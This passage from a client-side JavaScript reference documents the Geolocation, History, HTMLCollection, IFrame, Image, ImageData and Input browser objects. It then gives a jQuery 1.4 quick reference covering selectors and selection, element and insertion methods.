: The user's latitude in decimal degrees north of the equator.

`readonly double` **`longitude`**
: The user's longitude in decimal degrees east of the Greenwich Meridian.

`readonly double` **`speed`**
: The user's speed in meters per second, or `null` if speed information is not available. This property will never be a negative number. See also `heading`.

Geolocation

obtain the user's latitude and longitude

The Geolocation object defines methods for determining the user's precise geographical location. In browsers that support it, the Geolocation object is available through the `Navigator` object as `navigator.geolocation`. The methods described here depend on a few other types: locations are reported in the form of a `Geoposition` object and errors are reported as GeolocationError objects.

Methods

`void` **`clearWatch`**`(long` *`watchId`*`)`

Stops watching the user's location. The *`watchId`* argument must be the value returned by the corresponding call to `watchPosition()`.

`void` **`getCurrentPosition`**`(function` *`success`*`, [function` *`error`*`], [object` *`options`*`])`

Asynchronously determines the user's location using any *`options`* (see the list of option properties below) that were specified. This method returns immediately, and when the user's location becomes available, it passes a Geoposition object to the specified *`success`* callback.

Or, if an error occurs (perhaps because the user did not grant permission to share her location), it passes a GeolocationError object to the *error* callback if one was specified.

```
long watchPosition(function success, [function error], [object options])
```

This method is like `getCurrentPosition()`, but after determining the user's current location, it continues to monitor the user's location and invokes *success* callback every time the position is found to have changed significantly. The return value is a number that you can pass to `clearWatch()` to stop tracking the user's location.

Options

The *options* argument to `getCurrentPosition()` and `watchPosition()` is a regular JavaScript object with zero or more of the following properties:

`boolean` **`enableHighAccuracy`**
: This option is a hint that a high-accuracy position is desired, even if it would take longer to determine or would use more battery power, for example. The default is `false`. In devices that can determine position via WiFi signals or by GPS, setting this option to `true` will typically mean "use the GPS".

`long` **`maximumAge`**
: This option specifies the largest acceptable age (in milliseconds) of the first Geoposition object passed to the *successCallback*. The default is 0, which means that each call to `getCurrentPosition()` or `watchPosition()` will have to request a new position fix. If you set this option to 60000, for example, the implementation is allowed to return any Geoposition determined in the last minute.

`long` **`timeout`**
: This option specifies how long, in milliseconds, the requester is willing to wait for a position fix. The default value is `Infinity`. If more than `timeout` milliseconds elapse, the *errorCallback* will be invoked. Note that time spent asking the user for permission to share her location does not count against this `timeout` value.

GeolocationError

an error while querying the user's location

If an attempt to determine the user's geographical position fails, your error callback function will be invoked with a GeolocationError object that describes what went wrong.

Constants

These constants are the possible values of the `code` property:

`unsigned short` **`PERMISSION_DENIED`** `= 1`
: The user did not grant permission to share her or his location.

`unsigned short` **`POSITION_UNAVAILABLE`** `= 2`
: The location could not be determined for an unspecified reason. This could be caused by a network error, for example.

`unsigned short TIMEOUT = 3`
: The location could not be determined within the time allotted (see the `timeout` option described in `Geolocation`).

Properties

`readonly unsigned short code`
: This property will have one of the three values above.

`readonly string message`
: A message that provides more details about the error. The message is intended to aid with debugging and is not suitable for display to end users.

Geoposition

a timestamped position report

A Geoposition object represents the user's geographical position at a specific time. Objects of this type have only two properties: a timestamp and a reference to a `Geocoordinates` object that holds the actual position properties.

Properties

`readonly Geocoordinates coords`
: This property refers to a Geocoordinates object whose properties specify the user's latitude, longitude, etc.

`readonly unsigned long timestamp`
: The time at which those coordinates were valid, in milliseconds since the epoch. You can use this value to create a `Date` object if desired.

HashChangeEvent

event object for hashchange events — Event

Browsers fire a hashchange event when the fragment identifier (the portion of a URL beginning with the hash mark #) of the document URL changes. This can happen because of a scripted change to the `hash` property of the `Location` object, or because the user used the browser's Back or Forward buttons to navigate through the browser's history. In either case, a hashchange event is triggered. The associated event object is a HashChangeEvent. See §22.2 for more on history management with `location.hash` and the hashchange event.

Properties

`readonly string newURL`
: This property holds the new value of `location.href`. Note that this is the complete URL, not just the hash portion of it.

`readonly string oldURL`
: This property holds the old value of `location.href`.

History

the browsing history of a Window

The History object represents the browsing history of a window. For privacy reasons, however, it does not allow scripted access to the actual URLs that have been visited. The methods of the History object allow scripts to move the window backward and forward through the browsing history and to add new entries to the browsing history.

Properties

`readonly long` **`length`**

This property specifies the number of entries in the browser's history list. Since there is no way to determine the index of the currently displayed document within this list, knowing the size of this list is not particularly helpful.

Methods

`void` **`back`**`()`

`back()` causes the window or frame to which the History object belongs to revisit the URL (if any) that was visited immediately before the current one. Calling this method has the same effect as clicking on the browser's Back button. It is also equivalent to:

```
history.go(-1);
```

`void` **`forward`**`()`

`forward()` causes the window or frame to which the History object belongs to revisit the URL (if any) that was visited immediately after the current one. Calling this method has the same effect as clicking on the browser's Forward button. It is also equivalent to:

```
history.go(1);
```

`void` **`go`**`([long` *`delta`*`])`

The `History.go()` method takes an integer argument and causes the browser to visit the URL that is the specified number of positions away in the browsing history list maintained by the History object. Positive arguments move the browser forward through the list, and negative arguments move it backward. Thus, calling `history.go(-1)` is equivalent to calling `history.back()` and produces the same effect as clicking on the Back button. With an argument of 0 or no argument at all, this method reloads the currently displayed document.

`void` **`pushState`**`(any` *`data`*`, string` *`title`*`, [string` *`url`*`])`

This method adds a new entry to the window's browsing history, storing a structured clone (see "Structured Clones" on page 672) of *`data`* as well as the specified *`title`* and *`url`*. If the user later uses the browser's history navigation mechanism to return to this saved state, a popstate event will be triggered on the window, and the `PopStateEvent` object will hold another clone of *`data`* in its `state` property.

The *`title`* argument provides a name for this state, and browsers may display it in their history UI. (At the time of this writing, browsers ignore this argument). If specified, the *`url`* argument is displayed in the location bar and gives this state a permanent state that can be bookmarked or shared with others. *`url`* is resolved relative to the current document location. If *`url`* is an

absolute URL, it must have the same origin as the current document. One common technique is to use URLs that are just fragment identifiers beginning with #.

`void replaceState(any data, string title, [string url])`

This method is like `pushState()`, except that instead of creating a new entry in the window's browsing history, it updates the current entry with a new state *data*, *title*, and *url*.

HTMLCollection

an element collection accessible by name or number

An HTMLCollection is a read-only array-like object of `Element` objects that also defines properties corresponding to the `name` and `id` values of the collected elements. The Document object defines HTMLCollection properties such as `forms` and `image`.

HTMLCollection objects define `item()` and `namedItem()` methods, for retrieving elements by position or name, but it is never necessary to use them: you can simply treat the HTMLCollection as a JavaScript object and access its properties and array elements. For example:

```
document.images[0]     // A numbered element of an HTMLCollection
document.forms.address // A named element of an HTMLCollection
```

Properties

`readonly unsigned long length`

The number of elements in the collection.

Methods

`Element item(unsigned long index)`

Returns the element at the specified *index* in the collection or `null` if *index* is out of bounds. You can also simply specify the position within array brackets instead of calling this method explicitly.

`object namedItem(string name)`

Returns the first element from the collection that has the specified *name* for its `id` or `name` attribute, or `null` if there is no such element. You can also place the element name within array brackets instead of calling this method explicitly.

HTMLDocument

see Document

HTMLElement

see Element

HTMLFormControlsCollection

a array-like object of form controls — HTMLCollection

HTMLFormControlsCollection is a specialized HTMLCollection used by Form elements to represent collections of form controls. Like HTMLCollection, you can index it numerically, like an array, or treat it like an object and index it with the names or IDs of form controls. HTML forms often have multiple controls (usually radio buttons or checkboxes) that have the same value for their `name` attribute, and an HTMLFormControlsCollection handles this differently than an ordinary HTMLCollection would.

When you read a property of an HTMLFormControlsCollection, and the form contains more than one element that has that property as its name, the HTMLFormControlsCollection returns an array-like object of all form controls that share the name. In addition, the returned array-like object has a `value` property that returns the `value` attribute of the first checked radio button with that name. You can even set this `value` property to check the radio button with the corresponding value.

HTMLOptionsCollection

a collection of Option elements — HTMLCollection

HTMLOptionsCollection is a specialized HTMLCollection that represents the `Option` elements within a `Select` element. It overrides the `namedItem()` method to handle multiple Option elements with the same name, and it defines methods for adding and removing elements. For historical reasons, HTMLOptionsCollection defines a writable `length` property that you can set to truncate or extend the collection.

Properties

`unsigned long` **`length`**

This property returns the number of elements in the collection. Unlike the `length` property of a regular HTMLCollection, however, this one is not read-only. If you set it to a value smaller than its current value, the collection of Option elements is truncated, and those that are no longer in the collection are removed from the containing Select element. If you set `length` to a value larger than its current value, empty `<option/>` elements are created and added to the Select element and to the collection.

`long` **`selectedIndex`**

The index of the first selected Option in the collection, or -1 if no Option is selected. You can set this property to change the selected item.

Methods

`void` **`add`**`(Element` *`option`*`, [any` *`before`*`])`

Insert the *`option`* (which must be an `<option>` or `<optgroup>` element) into this collection (and into the Select element) at the position specified by *`before`*. If *`before`* is null, insert it at the end. If *`before`* is an integer index, insert it before the item that is currently at that index. If *`before`* is another Element, insert the *`option`* before that element.

`Element item(unsigned long index)`

HTMLOptionsCollection inherits this method from HTMLCollection. It returns the element at the specified *index* or `null` if *index* is out of bounds. You can also index the collection directly with square brackets instead of calling this method explicitly.

`object namedItem(string name)`

This method returns all Option elements in the collection that have the specified name or ID. If no elements match, it returns `null`. If one Option element matches, it returns that element. If more than one element matches, it returns a NodeList of those elements. Note that you can index an HTMLOptionsCollection directly, using *name* as a property name instead of calling this method explicitly.

`void remove(long index)`

This method removes the `<option>` element at the specified *index* in the collection. If invoked with no argument or with an argument that is out of bounds, it may remove the first element in the collection.

IFrame

an HTML <iframe> — Node, Element

An IFrame object represents an `<iframe>` element in an HTML document. If you look up an `<iframe>` using `getElementById()` or a similar query function, you'll get an IFrame object. If, however, you access the `<iframe>` through the `frames` property of the Window object, or by using the name of the `<iframe>` as a property of the containing window, the object you obtain is the Window object that the `<iframe>` represents.

Properties

`readonly Document contentDocument`

The document contained in this `<iframe>` element. If the document displayed in the `<iframe>` is from a different origin, the same-origin policy (§13.6.2) will prevent access to this document.

`readonly Window contentWindow`

The Window object of the `<iframe>`. (The `frameElement` of that Window object will be a reference back to this IFrame object.)

`string height`

The height, in CSS pixels, of the `<iframe>`. This property mirrors the HTML `height` attribute.

`string name`

The name of the `<iframe>`. This property mirrors the HTML `name` attribute, and its value can be used as the `target` of `Link` and `Form` objects.

`readonly DOMSettableTokenList sandbox`

This property mirrors the HTML5 `sandbox` attribute and allows it to be queried and set as a string or as a set of individual tokens.

The `sandbox` attribute specifies that the browser should impose additional security restrictions on untrusted content displayed in an `<iframe>`. If the `sandbox` attribute is present but empty, the `<iframe>` content will be treated as if it was from a distinct origin, will not be allowed to run scripts, will not be allowed to display forms, and will not be allowed to change the location of its containing window. The `sandbox` attribute can also be set to a space-separated list of tokens, each of which lifts one of those additional security restrictions. The valid tokens are "allow-same-origin", "allow-scripts", "allow-forms", and "allow-top-navigation".

The `sandbox` attribute is not yet widely implemented at the time of this writing. See an HTML reference for further details.

`boolean` **`seamless`**

This property mirrors the HTML `seamless` attribute. If `true`, the browser should render the content of the `<iframe>` so that it appears to be part of the containing document. This means, in part, that the browser must apply the CSS styles of the containing document to the content of the `<iframe>`.

The `seamless` attribute was introduced as part of HTML5 and is not yet widely implemented at the time of this writing.

`string` **`src`**

This property mirrors the `src` attribute of the `<iframe>`: it specifies the URL of the framed content.

`string` **`srcdoc`**

This property mirrors the `srcdoc` HTML attribute and specifies the content of the `<iframe>` as a string. The `srcdoc` attribute was recently introduced as part of HTML5 and is not yet implemented at the time of this writing.

`string` **`width`**

The width, in CSS pixels, of the `<iframe>`. This property mirrors the HTML `width` attribute.

Image

an <img> in an HTML document — Node, Element

An Image object represents an image embedded in an HTML document with an `<img>` tag. The images that appear in a document are collected in the `document.images[]` array.

The `src` property of the Image object is the most interesting one. When you set this property, the browser loads and displays the image specified by the new value. This allows visual effects such as image rollovers and animations. See §21.1 for examples.

You can create offscreen Image objects by simply creating new `<img>` elements with `document.createElement()` or with the `Image()` constructor. Note that this constructor does not have an argument to specify the image to be loaded: to load an image, simply set the `src` property of your Image object. To actually display the image, insert the Image object into the document.

Constructor

```
new Image([unsigned long width, unsigned long height])
```

You can create a new Image as you would create any HTML element with `document.createElement()`. For historical reasons, however, client-side JavaScript also defines the `Image()` constructor to do the same thing. If the *`width`* or *`height`* arguments are specified, they set the `width` and `height` attributes of the `<img>` tag.

Properties

In addition to the properties listed here, Image elements also expose the following HTML attributes as JavaScript properties: `alt`, `usemap`, `ismap`.

`readonly boolean` **`complete`**
: `true` if no image `src` was specified or if the image has been completely downloaded. `false` otherwise.

`unsigned long` **`height`**
: The on-screen height at which the image is displayed, in CSS pixels. Set this to change the height of the image.

`readonly unsigned long` **`naturalHeight`**
: The intrinsic height of the image.

`readonly unsigned long` **`naturalWidth`**
: The intrinsic width of the image.

`string` **`src`**
: The URL of the image. Setting this property causes the specified image to load. If the Image object has been inserted into the document, the new image will be displayed.

`unsigned long` **`width`**
: The width, in CSS pixels, at which the image is actually displayed on the screen. You can set this to change the on-screen size of the image.

ImageData

an array of pixel data from a <canvas>

An ImageData object holds the red, green, blue, and alpha (transparency) components of a rectangular region of pixels. Obtain an ImageData object with the `createImageData()` or `getImageData()` methods of the CanvasRenderingContext2D object of a `<canvas>` tag.

The `width` and `height` properties specify the dimensions of the rectangle of pixels. The `data` property is an array that holds the pixel data. Pixels appear in the `data[]` array in left-to-right and top-to-bottom order. Each pixel consists of four byte values that represent the R, G, B, and A components, in that order. Thus, the color components for a pixel at `(x,y)` within an ImageData object `image` can be accessed like this:

```
var offset = (x + y*image.width) * 4;
var red = image.data[offset];
var green = image.data[offset+1];
```

```
var blue = image.data[offset+2];
var alpha = image.data[offset+3];
```

The `data[]` array is not a true JavaScript array, but an optimized array-like object whose elements are integers between 0 and 255. The elements are read/write, but the length of the array is fixed. For any ImageData object `i`, `i.data.length` will always equal `i.width * i.height * 4`.

Properties

`readonly byte[] data`
: A read-only reference to a read/write array-like object whose elements are bytes.

`readonly unsigned long height`
: The number of rows of image data.

`readonly unsigned long width`
: The number of pixels per row of data.

Input

an HTML <input> element — Node, Element, FormControl

An Input object represents an HTML form `<input>` element. Its appearance and behavior depends on its `type` attribute: an Input element might represent a simple text input field, a checkbox, a radio box, a button, or a file selection element, for example. Because an `<input>` element can represent so many kinds of form controls, the Input element is one of the most complicated. See §15.9 for an overview of HTML forms and form elements. Note that some of the important properties of the Input element (such as `type`, `value`, `name`, and `form`) are documented in `FormControl`.

Properties

In addition to the properties listed here, Input elements also implement all of the properties defined by `Element` and `FormControl`. The properties marked with an asterisk in this list are newly defined by HTML5 and are not yet, at the time of this writing, widely implemented.

`string accept`
: When `type` is "file", this property is a comma-separated list of MIME types that specify the types of files that may be selected. The strings "audio/*", "video/*", and "image/*" are also legal. Mirrors the `accept` attribute.

`string autocomplete`
: True if the browser can prefill this Input element with a value from a previous session. Mirrors that `autocomplete` attribute. See also the `autocomplete` property of `Form`.

`boolean checked`
: For checkable input elements, this property specifies whether the element is "checked" or not. Setting this property changes the visual appearance of the input element.

`boolean` **`defaultChecked`**
For checkable input elements, this property specifies the initial checkedness of the element. When the form is reset, the `checked` property is restored to the value of this property. Mirrors the `checked` attribute.

`string` **`defaultValue`**
For elements with a textual value, this property holds the initial value displayed by the element. When the form is reset, the element is restored to this value. Mirrors the `value` attribute.

`readonly File[]` **`files`**
For elements whose `type` is "file", this property is an array-like object of the `File` object or objects that the user selected.

`string` **`formAction`***
For submit button elements, this property specifies a value that overrides the `action` property of the containing form. Mirrors the `formaction` attribute.

`string` **`formEnctype`***
For submit button elements, this property specifies a value that overrides the `enctype` property of the containing form. Mirrors the `formenctype` attribute.

`string` **`formMethod`***
For submit button elements, this property specifies a value that overrides the `method` property of the containing form. Mirrors the `formmethod` attribute.

`boolean` **`formNoValidate`***
For submit button elements, this property specifies a value that overrides the `noValidate` property of the containing form. Mirrors the `formnovalidate` attribute.

`string` **`formTarget`***
For submit button elements, this property specifies a value that overrides the `target` property of the containing form. Mirrors the `formtarget` attribute.

`boolean` **`indeterminate`**
For checkboxes, this property specifies whether the element is in an indeterminate (neither checked nor unchecked) state. This property does *not* mirror an HTML attribute: you can only set it with JavaScript.

`readonly Element` **`list`***
A `<datalist>` element that contains `<option>` elements that a browser can use as suggestions or autocompletion values.

`string` **`max`***
A maximum valid value for this Input element.

`long` **`maxLength`**
If `type` is "text" or "password", this property specifies the maximum number of characters that the user is allowed to enter. Note that this is not the same as the `size` property. Mirrors the `maxlength` attribute.

`string` **`min`***
A maximum valid value for this Input element.

`boolean` **`multiple`***
: `true` if the input element should accept more than one value of the specified `type`. Mirrors the `multiple` attribute.

`string` **`pattern`***
: The text of a regular expression that the input must match in order to be considered valid. This property uses JavaScript regular expression syntax (without the leading and trailing slashes), but note that the property is a string, not a RegExp object. Also note that in order be considered valid, the entire string of input must match the pattern, not just a substring. (This is as if the pattern begins with ^ and ends with $.) This property mirrors the `pattern` attribute.

`string` **`placeholder`**
: A short string of text that will appear within the Input element as a prompt to the user. When the user focuses the element, the placeholder text will vanish and an insertion cursor will appear. This property mirrors the `placeholder` attribute.

`boolean` **`readOnly`**
: If `true`, this Input element is not editable. Mirrors the `readonly` attribute.

`boolean` **`required`***
: If `true`, the containing form will not be considered valid if the user does not enter a value in this Input element. Mirrors the `required` attribute.

`readonly Option` **`selectedOption`***
: If the `list` property is defined and `multiple` is `false`, this property returns the selected Option element child of the `list`, if there is one.

`unsigned long` **`selectionEnd`**
: Returns or sets the index of the first input character after the selected text. See also `setSelectionRange()`.

`unsigned long` **`selectionStart`**
: Returns or sets the index of the first selected character in the `<textarea>`. See also `setSelectionRange()`.

`unsigned long` **`size`**
: For Input elements that allow text input, this property specifies the width of the element in characters. Mirrors the `size` attribute. Contrast with `maxLength`.

`string` **`step`***
: For numeric input types (including date and time input), this property specifies the granularity or step size of the allowed input values. This property can be the string "any" or a floating-point number. Mirrors the `step` attribute.

`Date` **`valueAsDate`***
: Returns the element's `value` (see `FormControl`) as a Date object.

`double` **`valueAsNumber`***
: Returns the element's `value` (see `FormControl`) as a number.

Methods

In addition to the methods listed here, Input elements also implement all of the methods defined by `Element` and `FormControl`. The methods marked with an asterisk in this list are newly defined by HTML5 and are not yet, at the time of this writing, widely implemented.

```
void select()
```

This method selects all the text displayed by this Input element. In most browsers, this means that the text is highlighted and that new text entered by the user replaces the highlighted text instead of being appended to it.

```
void setSelectionRange(unsigned long start, unsigned long end)
```

This method selects text displayed in this Input element, starting with the character at position *start* and continuing up to (but not including) the character at *end*.

```
void stepDown([long n])*
```

For elements that support the `step` property, decrease the current value by *n* steps.

```
void stepUp([long n])*
```

For elements that support the `step` property, increase the current value by *n* steps.

jQuery

jQuery 1.4

the jQuery library

Description

This is a quick reference for the jQuery library. See Chapter 19 for complete details on the library and for examples of its use. This reference page is organized and formatted somewhat differently than the other pages in this reference section. It uses the following conventions in the method signatures. Arguments named *sel* are jQuery selectors. Arguments named *idx* are integer indexes. Arguments named *elt* or *elts* are document elements or array-like objects of document elements. Arguments named *f* are callback functions and nested parentheses are used to indicate the arguments that jQuery will pass to the function you supply. Square brackets indicate optional arguments. If an optional argument is followed by an equals sign and a value, that value will be used when the argument is omitted. The return value of a function or a method follows the close parenthesis and a colon. Methods with no return value specified return the jQuery object on which they are invoked.

jQuery Factory Function

The `jQuery` function is a namespace for a variety of utility functions, but it is also the factory function for creating jQuery objects. `jQuery()` can be invoked in all of the ways shown below, but it always returns a jQuery object that represents a collection of document elements (or the Document object itself). The symbol `$` is an alias for `jQuery`, and you can use `$()` instead of `jQuery()` in each of the forms following:

`jQuery(sel [, context=document])`
: Returns a new jQuery object that represents the document elements that are descendants of *context* and match the selector string *sel*.

`jQuery(elts)`
: Returns a new jQuery object that represents the specified elements. *elts* may be a single document element or an array or array-like object (such as a NodeList or another jQuery object) of document elements.

`jQuery(html, [props])`
: Parses *html* as a string of HTML-formatted text and returns a new jQuery object that contains the one or more top-level elements in the string. If *html* describes a single HTML tag, *props* may be an object that specifies HTML attributes and event handlers for the newly created element.

`jQuery(f)`
: Registers *f* as a function to be invoked when the document has loaded and is ready to be manipulated. If the document is already ready, *f* is invoked immediately as a method of the document object. Returns a jQuery object that contains only the document object.

jQuery Selector Grammar

The jQuery selector grammar is very similar to the CSS3 selector grammar, and it is explained in detail in §19.8.1. The following is a summary:

Simple tag, class and ID selectors

```
*           tagname       .classname     #id
```

Selector Combinations

`A B`	*B as a descendant of A*
`A > B`	*B as a child of A*
`A + B`	*B as a sibling following A*
`A ~ B`	*B as a sibling of A*

Attribute Filters

`[attr]`	*has attribute*
`[attr=val]`	*has attribute with value val*
`[attr!=val]`	*does not have attribute with value val*
`[attr^=val]`	*attribute begins with val*
`[attr$=val]`	*attribute ends with val*
`[attr*=val]`	*attribute includes val*
`[attr~=val]`	*attribute includes val as a word*
`[attr|=val]`	*attribute begins with val and optional hyphen*

Element Type Filters

```
:button      :header      :password      :submit
:checkbox    :image       :radio         :text
:file        :input       :reset
```

Element State Filters

```
:animated    :disabled    :hidden       :visible
:checked     :enabled     :selected
```

Selection Position Filters

```
:eq(n)       :first       :last         :nth(n)
:even        :gt(n)       :lt(n)        :odd
```

Document Position Filters

```
:first-child              :nth-child(n)
:last-child               :nth-child(even)
:only-child               :nth-child(odd)
                          :nth-child(xn+y)
```

Miscellaneous Filters

```
:contains(text)           :not(selector)
:empty                    :parent
:has(selector)
```


Basic jQuery Methods and Properties

These are the basic methods and properties of jQuery objects. They don't alter the selection or the selected elements in any way, but they allow you to query and iterate over the set of selected elements. See §19.1.2 for details.

`context`
: The context, or root element, under which the selection was made. This is the second argument to `$()` or the Document object.

`each(`*`f`*`(`*`idx`*`,`*`elt`*`))`
: Invoke *`f`* once as a method of each selected element. Stops iterating if the function returns `false`. Returns the jQuery object on which it was invoked.

`get(`*`idx`*`):elt`
`get():array`
: Return the selected element at the specified index in the jQuery object. You can also use regular square-bracket array indexing. With no arguments, `get()` is a synonym for `toArray()`.

`index():int`
`index(`*`sel`*`):int`
`index(`*`elt`*`):int`
: With no argument, return the index of the first selected element among its siblings. With a selector argument, return the index of the first selected element within the set of elements that match the selector *`sel`*, or -1 if it is not found. With an element argument, return the index of *`elt`* in the selected elements, or -1 if it is not found.

`is(`*`sel`*`):boolean`
: Return `true` if at least one of the selected elements also matches *`sel`*.

`length`
: The number of selected elements.

`map(f(idx,elt)):jQuery`
: Invoke *f* once as a method of each selected element and return a new jQuery object that holds the returned values, with `null` and `undefined` values omitted and array values flattened.

`selector`
: The selector string originally passed to `$()`.

`size():int`
: Return the value of the `length` property.

`toArray():array`
: Return a true array of the selected elements.

jQuery Selection Methods

The methods described in this section alter the set of selected elements, by filtering them, adding new elements, or using the selected elements as starting points for new selections. In jQuery 1.4 and later, jQuery selections are always sorted in document order and do not contain duplicates. See §19.8.2.

`add(sel, [context])`
`add(elts)`
`add(html)`
: The arguments to `add()` are passed to `$()`, and the resulting selection is merged with the current selection.

`andSelf()`
: Add the previously selected set of elements (from the stack) to the selection.

`children([sel])`
: Select children of the selected elements. With no argument, select all children. With a selector, select only matching children.

`closest(sel, [context])`
: Select the closest ancestor of each selected element that matches *sel* and is a descendant of *context*. If *context* is omitted, the `context` property of the jQuery object is used.

`contents()`
: Select all children of each selected element, including text nodes and comments.

`end()`
: Pop the internal stack restoring the selection to the state it was in before the last selection-altering method.

`eq(idx)`
: Select only the selected element with the specified index. In jQuery 1.4, negative indexes count from the end.

Download from Wow! eBook <www.wowebook.com>

`filter(sel)`
`filter(elts)`
`filter(f(idx):boolean)`
: Filter the selection so it only includes elements that also match the selector *sel*, that are included in the array-like object *elts*, or for which the predicate *f* returns `true` when invoked as a method of the element.

`find(sel)`
: Select all descendants of any selected element that match *sel*.

`first()`
: Select only the first selected element.

`has(sel)`
`has(elt)`
: Filter the selection to include only those selected elements that have a descendant that matches *sel* or that are ancestors of *elt*.

`last()`
: Select only the last selected element.

`next([sel])`
: Select the next sibling of each selected element. If *sel* is specified, exclude those that do not match.

`nextAll([sel])`
: Select all of the siblings following each selected element. If *sel* is specified, exclude those that do not match.

`nextUntil(sel)`
: Select the siblings following each selected element up to (but not including) the first sibling that matches *sel*.

`not(sel)`
`not(elts)`
`not(f(idx):boolean)`
: This is the opposite of `filter()`. It filters the selection to exclude elements that match *sel*, that are included in *elts*, or for which *f* returns `true`. *elts* may be a single element or an array-like object of elements. *f* is invoked as a method of each selected element.

`offsetParent()`
: Select the nearest positioned ancestor of each selected element.

`parent([sel])`
: Select the parent of each selected element. If *sel* is specified, exclude any that do not match.

`parents([sel])`
: Select the ancestors of each selected element. If *sel* is specified, exclude any that do not match.

`parentsUntil(sel)`
: Select the ancestors of each selected element up to (but not including) the first one that matches *sel*.

`prev([sel])`
: Select the previous sibling of each selected element. If *sel* is specified, exclude those that do not match.

`prevAll([sel])`
: Select all of the siblings before each selected element. If *sel* is specified, exclude those that do not match.

`prevUntil(sel)`
: Select the siblings preceding each selected element up to (but not including) the first sibling that matches *sel*.

`pushStack(elts)`
: Push the current state of the selection so that it can be restored with `end()`, and then select the elements in the *elts* array (or array-like object).

`siblings([sel])`
: Select the siblings of each selected element, excluding the element itself. If *sel* is specified, exclude any siblings that do not match.

`slice(startidx, [endidx])`
: Filter the selection to include only elements with an index greater than or equal to *startidx* and less than (but not equal to) *endidx*. Negative indexes count backward from the end of the selection. If *endidx* is omitted, the `length` property is used.

jQuery Element Methods

The methods described here query and set the HTML attributes and CSS style properties of elements. Setter callback functions with an argument named *current* are passed the current value of whatever it is they are computing a new value for. See §19.2.

`addClass(names)`
`addClass(f(idx,current):names)`
: Add the specified CSS class name or names to the `class` attribute of each selected element. Or invoke *f* as a method of each element to compute the class name or names to add.

`attr(name):value`
`attr(name, value)`
`attr(name, f(idx,current):value)`
`attr(obj)`
: With one string argument, return the value of the named attribute for the first selected element. With two arguments, set the named attribute of all selected elements to the specified *value* or invoke *f* as a method of each element to compute a value. With a single object argument, use property names as attribute names and property values as attribute values or attribute computing functions.

`css(name):value`
`css(name, value)`
`css(name, f(idx,current):value)`
`css(obj)`
Like `attr()`, but query or set CSS style attributes instead of HTML attributes.

`data():obj`
`data(key):value`
`data(key, value)`
`data(obj)`
With no arguments, return the data object for the first selected element. With one string argument, return the value of the named property of that data object. With two arguments, set the named property of the data object of all selected elements to the specified *value*. With one object argument, replace the data object of all selected elements.

`hasClass(name):boolean`
Returns `true` if any of the selected elements includes *name* in its `class` attribute.

`height():int`
`height(h)`
`height(f(idx,current):int)`
Return the height (not including padding, border, or margin) of the first selected element, or set the height of all selected elements to *h* or to the value computed by invoking *f* as a method of each element.

`innerHeight():int`
Return the height plus padding of the first selected element.

`innerWidth():int`
Return the width plus padding of the first selected element.

`offset():coords`
`offset(coords)`
`offset(f(idx,current):coords)`
Return the X and Y position (in document coordinates) of the first selected element, or set the position of all selected elements to *coords* or to the value computed by invoking *f* as a method of each element. Coordinates are specified as objects with `top` and `left` properties.

`offsetParent():jQuery`
Select the nearest positioned ancestor of each selected element and return them in a new jQuery object.

`outerHeight([margins=false]):int`
Return the height plus the padding and border, and, if *margins* is `true`, the margins of the first selected element.

`outerWidth([margins=false]):int`
Return the width plus the padding and border, and, if *margins* is `true`, the margins of the first selected element.

`position():coords`
: Return the position of the first selected element relative to its nearest positioned ancestor. The return value is an object with `top` and `left` properties.

`removeAttr(name)`
: Remove the named attribute from all selected elements.

`removeClass(names)`
`removeClass(f(idx,current):names)`
: Remove the specified name or names from the `class` attribute of all selected elements. If a function is passed instead of a string, invoke it as a method of each element to compute the name or names to be removed.

`removeData([key])`
: Removed the named property from the data object of each selected element. If no property name is specified, remove the entire data object instead.

`scrollLeft():int`
`scrollLeft(int)`
: Return the horizontal scrollbar position of the first selected element or set it for all selected elements.

`scrollTop():int`
`scrollTop(int)`
: Return the vertical scrollbar position of the first selected element or set it for all selected elements.

`toggleClass(names, [add])`
`toggleClass(f(idx,current):names, [add])`
: Toggle the specified class name or names in the `class` property of each selected element. If *f* is specified, invoke it as a method of each selected element to compute the name or names to be toggled. If *add* is `true` or `false`, add or remove the class names rather than toggling them.

`val():value`
`val(value)`
`val(f(idx,current)):value`
: Return the form value or selection state of the first selected element, or set the value or selection state of all selected elements to *value* or to the value computed by invoking *f* as a method of each element.

`width():int`
`width(w)`
`width(f(idx,current):int)`
: Return the width (not including padding, border, or margin) of the first selected element, or set the width of all selected elements to *w* or to the value computed by invoking *f* as a method of each element.

jQuery Insertion and Deletion Methods

The methods described here insert, delete, and replace document content. In the method signatures below, the *content* argument may be a jQuery object, a string of HTML, or an individual document element, and the *target* argument may be a jQuery object, an individual document element, or a selector string. See §19.2.5 and §19.3 for further details.

`after(content)`
`after(f(idx):content)`
: Insert *content* after each selected element, or invoke *f* as a method of, and insert its return value after, each selected element.

`append(content)`
`append(f(idx,html):content)`
: Append *content* to each selected element, or invoke *f* as a method of, and append its return value to, each selected element.

`appendTo(target):jQuery`
: Append the selected elements to the end of each specified *target* element, cloning them as necessary if there is more than one target.

`before(content)`
`before(f(idx):content)`
: Like `after()`, but make insertions before the selected elements instead of after them.

`clone([data=false]):jQuery`
: Make a deep copy of each of the selected elements and return a new jQuery object representing the cloned elements. If *data* is `true`, also clone the data (including event handlers) associated with the selected elements.

`detach([sel])`
: Like `remove()`, but does not delete any data associated with the detached elements.

`empty()`
: Delete the content of all selected elements.

`html():string`
`html(htmlText)`
`html(f(idx,current):htmlText)`
: With no arguments, return the content of the first selected element as an HTML-formatted string. With one argument, set the content of all selected elements to the specified *htmlText* or to the value returned by invoking *f* as a method of those elements.

`insertAfter(target):jQuery`
: Insert the selected elements after each *target* element, cloning them as necessary if there is more than one target.

`insertBefore(target):jQuery`
: Insert the selected elements before each *target* element, cloning them as necessary if there is more than one target.

`prepend(content)`
`prepend(f(idx,html):content)`
: Like `append()`, but insert content at the beginning of each selected element instead of at the end.

`prependTo(target):jQuery`
: Like `appendTo()`, except that the selected elements are inserted at the beginning of the target elements instead of at the end.

`remove([sel])`
: Remove all selected elements or all selected elements that also match *sel*, from the document, removing any data (including event handlers) associated with them. Note that the removed elements are no longer part of the document, but are still members of the returned jQuery object.

`replaceAll(target)`
: Insert the selected elements into the document so that they replace each *target* element, cloning the selected elements as needed if there is more than one target.

`replaceWith(content)`
`replaceWith(f(idx,html):content)`
: Replace each selected element with *content*, or invoke *f* as a method of each selected element, passing the element index and current HTML content, and then replace that element with the return value.

`text():string`
`text(plainText)`
`text(f(idx,current):plainText)`
: With no arguments, return the content of the first selected element as a plain-text string. With one argument, set the content of all selected elements to the specified *plainText* or to the value returned by invoking *f* as a method of those elements.

`unwrap()`
: Remove the parent of each selected element, replacing it with the selected element and its siblings.

